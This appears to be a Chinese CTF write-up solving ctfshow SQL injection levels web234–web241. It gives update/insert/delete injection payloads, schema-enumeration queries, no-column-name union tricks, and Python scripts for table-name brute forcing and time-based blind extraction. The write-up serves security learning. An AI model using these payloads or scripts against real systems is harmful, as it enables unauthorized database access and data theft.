当前位置: 首页 > news >正文

ctfshow sql注入 web234--web241

web234

 $sql = "update ctfshow_user set pass = '{$password}' where username = '{$username}';";

这里'被过滤了,所以我们用\转义'使得'变为普通字符

 $sql = "update ctfshow_user set pass = '\' where username = '{$username}';";

那么这里的话

pass=\' where username=所以我们就把username的第一个引号的闭合问题解决了,后面的引号用注释就行了,username又是可控的,开始

看到页面没有注入的地方我们访问api
api是一个url的接口,所以我们在这里实现注入

password=\&username=,username=(select group_concat(schema_name) from information_schema.schemata)#
传入的内容实际是,username=(select group_concat(schema_name) from information_schema.schemata)#
因为我们的\逃逸,所以我们已经是把username给干掉了,所以我们得补一个
information_schema,test,mysql,performance_schema,ctfshow_webpassword=\&username=,username=(select group_concat(table_name) from information_schema.tables where table_schema=0x63746673686f775f776562)#
banlist,ctfshow_user,flag23apassword=\&username=,username=(select group_concat(column_name) from information_schema.columns where table_name=0x666c6167323361)#
id,flagass23s3,infopassword=\&username=,username=(select group_concat(flagass23s3) from ctfshow_web.flag23a)#

web235

or过滤之后,我们还有另外两个能够使用的库

用innodb_index_stats和innodb_table_stats查找表名
$sql = "update ctfshow_user set pass = '{$password}' where username = '{$username}';";
password=\&username=,username=(select group_concat(table_name) from mysql.innodb_table_stats where database_name=database())#
banlist,ctfshow_user,flag23a1
但是也只能查到表名
我们还要查内容和列的话旧的使用无列名注入了
password=\&username=,username=(select b from (select 1,2 as b,3 union select * from flag23a1)a)#

在这里插入图片描述
我觉得好深金必须要加?page=1&limit=10才对

web236

password=\&username=,username=(select group_concat(table_name) from mysql.innodb_index_stats where database_name=database())#password=\&username=,username=(select b from (select 1,2 as b,3 union select * from flaga limit 1,2)a)#

web237

$sql = "insert into ctfshow_user(username,pass) value('{$username}','{$password}');";

这里我们直接闭合username然后就行

9',(select group_concat(schema_name) from information_schema.schemata))#6',(select group_concat(table_name) from information_schema.tables where table_schema=database() ))#

在这里插入图片描述

在这里插入图片描述

7',(select group_concat(column_name) from information_schema.columns where table_name="flag"))#8',(select group_concat(flagass23s3) from ctfshow_web.flag))#

如果说为什么要在insert.php进行注入的话,我不知道你注意前面的注入没有都是在相应的php页面进行的

web238

9',(select(group_concat(schema_name))from(information_schema.schemata)))#9',(select(group_concat(table_name))from(information_schema.tables)where(table_schema='ctfshow_web')))#9',(select(group_concat(column_name))from(information_schema.columns)where(table_name='flagb')))#9',(select(group_concat(flag))from(ctfshow_web.flagb)))#

web239

9',(select(group_concat(table_name))from(mysql.innodb_table_stats)where(database_name='ctfshow_web')))#9',(select/**/b/**/from/**/(select/**/1,2/**/as/**/b,3/**/union/**/select/**/*/**/from/**/flaga/**/limit/**/1,2)a))#
6',(select b from (select 1,2 as b,3 union select flagbb limit 0,1)a))#
这两个都没成功的话其他的基本也没什么可能了,只能猜flag是不是叫做flag了6',(select(group_concat(flag))from(ctfshow_web.flagbb)))#

web240

//过滤空格 or sys mysql

import requestsurl="https://3c76f100-cccb-47bd-a3fe-2cd434fe95e1.challenge.ctf.show/api/insert.php"for a1 in "ab":for a2 in "ab":for a3 in "ab":for a4 in "ab":for a5 in "ab":payload='flag'+a1+a2+a3+a4+a5data={'username':f"1',(select(flag)from({payload})))#",'password':'1'}r=requests.post(url=url,data=data)

在这里插入图片描述
回来刷新就有flag了,我调了一会笑死了,之前的脚本居然没起到注入的作用然后又在那里慢慢调
脚本还是比较简单的我就不解释了

web241

$sql = "delete from  ctfshow_user where id = {$id}";

这次不用闭合了
那么我们试试其他办法能不能执行
在这里插入图片描述

找到时间盲注点

except Exception as e:
这个和except的区别就是能够更精准的只处理我们的超时异常

这个脚本我写了很久,因为我之前并没有完全理解try,except,现在懂了

import timeimport requestsurl = "https://0d7e9907-1db5-4da9-a263-79d53fa0040a.challenge.ctf.show/api/delete.php"
i = 0flag = ''while True:i += 1low = 32high = 127while low < high:mid = (low + high) // 2#payload = "select group_concat(schema_name) from information_schema.schemata"#informazion_sesema,tesz,mytql,performance_schema,ctfshow_web#payload = "select group_concat(table_name) from information_schema.tables where table_schema='ctfshow_web'"#banlisz,ctfshow_user,flag#payload="select group_concat(column_name) from information_schema.columns where table_name='flag'"#id,flag,infopayload="select group_concat(flag) from ctfshow_web.flag"data = {'id': f'if((ascii(substr(({payload}),{i},1))>{mid}),sleep(0.1),0)'}try:r = requests.post(url=url, data=data, timeout=1.5)high = midexcept Exception as e:low = mid+1time.sleep(0.1)   # 环境限制不能短时间访问过多次数if low != 32:flag = flag + chr(low)else:breakprint(flag)

相关文章:

  • Spring Security在企业级应用中的应用
  • 基于深度学习的虚拟换装
  • 【sqlite3】联系人管理系统
  • 昇思25天学习打卡营第7天|深度学习流程全解析:从模型训练到评估
  • 数据资产治理的智能化探索:结合云计算、大数据、人工智能等先进技术,探讨数据资产治理的智能化方法,为企业提供可靠、高效的数据资产解决方案,助力企业提升竞争力
  • selenium 获取请求头cookie信息
  • SerDes介绍以及原语使用介绍(4)ISERDESE2原语仿真
  • Bridging nonnull in Objective-C to Swift: Is It Safe?
  • 【LinuxC语言】定义线程池结果
  • 如何正确面对GPT-5技术突破
  • Spring Boot整合Druid:轻松实现SQL监控和数据库密码加密
  • 【前端】面试八股文——输入URL到页面展示的过程
  • 被⽹络罪犯利⽤的5⼤ChatGPT越狱提⽰
  • 浅谈Tomcat
  • FastGPT 手动部署错误:MongooseServerSelectionError: getaddrinfo EAI_AGAIN mongo
  • [微信小程序] 使用ES6特性Class后出现编译异常
  • Java编程基础24——递归练习
  • node-sass 安装卡在 node scripts/install.js 解决办法
  • python3 使用 asyncio 代替线程
  • Spark学习笔记之相关记录
  • WePY 在小程序性能调优上做出的探究
  • 浮现式设计
  • 关于 Linux 进程的 UID、EUID、GID 和 EGID
  • 基于MaxCompute打造轻盈的人人车移动端数据平台
  • 基于OpenResty的Lua Web框架lor0.0.2预览版发布
  • 基于遗传算法的优化问题求解
  • 检测对象或数组
  • 快速体验 Sentinel 集群限流功能,只需简单几步
  • 前端性能优化--懒加载和预加载
  • 算法-图和图算法
  • 微信小程序实战练习(仿五洲到家微信版)
  • 用Node EJS写一个爬虫脚本每天定时给心爱的她发一封暖心邮件
  • linux 淘宝开源监控工具tsar
  • 测评:对于写作的人来说,Markdown是你最好的朋友 ...
  • 完善智慧办公建设,小熊U租获京东数千万元A+轮融资 ...
  • ​ubuntu下安装kvm虚拟机
  • !!【OpenCV学习】计算两幅图像的重叠区域
  • #android不同版本废弃api,新api。
  • $(document).ready(function(){}), $().ready(function(){})和$(function(){})三者区别
  • (ZT)出版业改革:该死的死,该生的生
  • (函数)颠倒字符串顺序(C语言)
  • (接口封装)
  • (六)vue-router+UI组件库
  • (免费领源码)python+django+mysql线上兼职平台系统83320-计算机毕业设计项目选题推荐
  • (淘宝无限适配)手机端rem布局详解(转载非原创)
  • (一)Dubbo快速入门、介绍、使用
  • .NET CORE 3.1 集成JWT鉴权和授权2
  • .net oracle 连接超时_Mysql连接数据库异常汇总【必收藏】
  • .net wcf memory gates checking failed
  • .NET 中各种混淆(Obfuscation)的含义、原理、实际效果和不同级别的差异(使用 SmartAssembly)
  • .net经典笔试题
  • .NET是什么
  • .Net组件程序设计之线程、并发管理(一)
  • /dev下添加设备节点的方法步骤(通过device_create)
  • @RequestMapping-占位符映射